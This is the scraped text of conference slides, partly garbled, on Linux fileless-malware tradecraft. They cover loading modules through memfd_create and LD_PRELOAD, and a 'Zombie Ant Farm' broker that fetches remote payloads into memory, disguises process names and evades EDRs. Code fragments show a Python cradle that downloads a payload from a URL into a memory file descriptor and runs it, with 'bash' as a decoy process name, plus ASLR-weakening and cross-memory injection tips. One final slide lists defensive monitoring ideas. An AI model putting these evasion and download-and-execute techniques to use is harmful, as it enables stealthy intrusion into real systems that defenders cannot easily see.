  • 36. Memory-resident malware modules One small problem: those modules are files. • On disk. • Scannable and inspectable by EDRs. • And admins. Sometimes it’s OK (EDR identity crisis). We still want flexibility. The way to fix that is to load modules in memory. OS is happy execute them from memory. OS is not happy. Let’s make it happy.
  • 37. Memory-resident malware modules Several ways to operate files in shared memory in Linux: • tmpfs filesystem (via /dev/shm), if mounted; have to be root to mount others. • POSIX shared memory, memory mmap()'d files. o Some, you cannot obtain execution of code from. o Others, do not provide you fully memory based abstraction, leaving a file path visible for inspection. Kernel 3.17 Linux gained a system call memfd_create(2) (sys_356/319)
  • 38. Memory-resident malware modules shm_fd = memfd_create(s, MFD_ALLOW_SEALING); if (shm_fd < 0) { log_fatal("memfd_create() error"); } • 3 , ) 3 ( • 3 () ( 3 3 readlink(3) 3 • 3 ) 3 3
  • 39. Uber preloader PID 56417, Meet your Volatile Memory LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so" LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls LD_PCMD="r:smtp" LD_MODULE=“/proc/56417/fd/3" LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls 56417 ! " What we have What we want
  • 41. Weapons of Mass Infection ++ ZAF - Zombie Ant Farm • / . . • . , / / • // . . / / . • , / . / / ,. ,
  • 42. ZAF Module Loader and Payload Driver • Fetches remote payloads and stores them in memory. • Runs an in-memory list of available modules, opens payloads to all local preloaders. • Has OS evasion and self-preservation instincts. • Can mimic a specified process name. • At the request of an operator de-stages malware modules.
  • 43. LD_MODULE="/proc/56417/fd/3" LD_PRELOAD=./libctx.so.1 /bin/ls • Take payload from ZAF process memory space • Reference payload via Uber-Preloader, • Preload payload (or chain) into the target ZAF + Preloader Synergy 56417 1st order shim 2nd order shim 56417 - ZAF Memory space holding payloads
  • 44. ZAF Broker Operational Summary 1 3 2 Preloaded shims or subverted system exec Uber Preloader pipeline ZAF Payload Broker Service
  • 45. PyPreload: Operationalizing Dynamic Preload Cradles . . . , . . . . . . . , memfd_create() ctypes . os.write(getMemFd, urllib2.urlopen(url)) def getMemFd(seed): if ctypes.sizeof(ctypes.c_voidp) == 4: NR_memfd_create = 356 else: NR_memfd_create = 319 modMemFd = ctypes.CDLL(None).syscall(NR_memfd_create,seed,1) modMemPath = "/proc/" + str(os.getpid()) + "/fd/" + str(modMemFd)
  • 46. PyPreload: Cradle + (Decoy / Mimicry) + Memory $ pypreload.py -t so -l http://127.0.0.1:8080/libpayload.so -d bash -c /bin/ls Note: bash here is the decoy for the process name we use for the process table, we do not use any bash functionality. “Bash” just looks good for Threat hunters. 56417 pts/6 S+ 0:00 | | | _ bash 56418 pts/6 S+ 0:00 | | | _ /bin/ls bash . ls
  • 47. $ pypreload.py -t bin -l http://127.0.0.1:8080/zaf -d bash $ ls -l /proc/56509/fd/ lr-x------ 1 root root 64 Feb 17 18:08 0 -> /dev/null l-wx------ 1 root root 64 Feb 17 18:08 1 -> /dev/null lrwx------ 1 root root 64 Feb 17 18:08 2 -> /dev/null lrwx------ 1 root root 64 Feb 17 18:08 3 -> '/memfd:fa37Jn (deleted)' lrwx------ 1 root root 64 Feb 17 18:08 5 -> 'socket:[3479923]' 56880 18:26:52.395703 memfd_create("R6YP4OOR", MFD_CLOEXEC) = 3 56884 18:26:52.586221 readlink("/proc/self/exe", "/memfd:R6YP4OOR (deleted)", 4096) = 25 56886 18:26:52.632680 memfd_create("fa37Jn", MFD_CLOEXEC) = 4 Strace sees: File Descriptors of the preload cradle PyPreload: Cradle + (Decoy / Mimicry) + Memory + ZAF ( , )( 2 - ) ,
  • 48. ZAF + Dynamic FileLess Loader Operational Summary 2 1 4 3
  • 49. 1. ASLR at-start weakening • Weaken targets via predictable memory addresses • Load to static address or an artificial code cave. Linux execution domains <sys/personality.h> ADDR_NO_RANDOMIZE (since Linux 2.6.12) Parent -> set personality -> Fork() -> UNRANDOMIZED process 2. Cross Memory Attach • Artificial Code Caves • IPC evasion (User to User space vs. User to Kernel to User space) process_vm_readv(), process_vm_writev() Additional Tips and Research Roadmap
  • 50. Additional Tips and Research Roadmap
  • 51. Additional Tips and Research Roadmap
  • 52. Offensive Summary ü Preloading is a viable path to evasion via system executables. ü Bring clean cradles to build on, or use executables on the target as decoys. ü Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs. ü Out-of-process payload delivery is sometimes what you need. “Preloader-as-a-Service” over memory is possible. ü C FFI is the common denominator for interop on Linux, and can be used for evasion. ü Don’t kill a fly with a sword (even though you know you want to). But do turn chopsticks into swords when needed. ü Protect your payloads and payload delivery mechanisms. https://github.com/dsnezhkov/zombieantCode:
  • 53. What can the Defense do? • Start implementing Linux capabilities. • Define clearly what EDRs will and can do for you. • Use provided ideas for manual threat hunting. • Optics into /proc. • Optics into dynamic loading, memfd(). • Optics into IPC • Optics into process library load • Start thinking more about proactive contextual supervision.
  • 54. EOF SYN & ACK? Thank you! ! ! ! !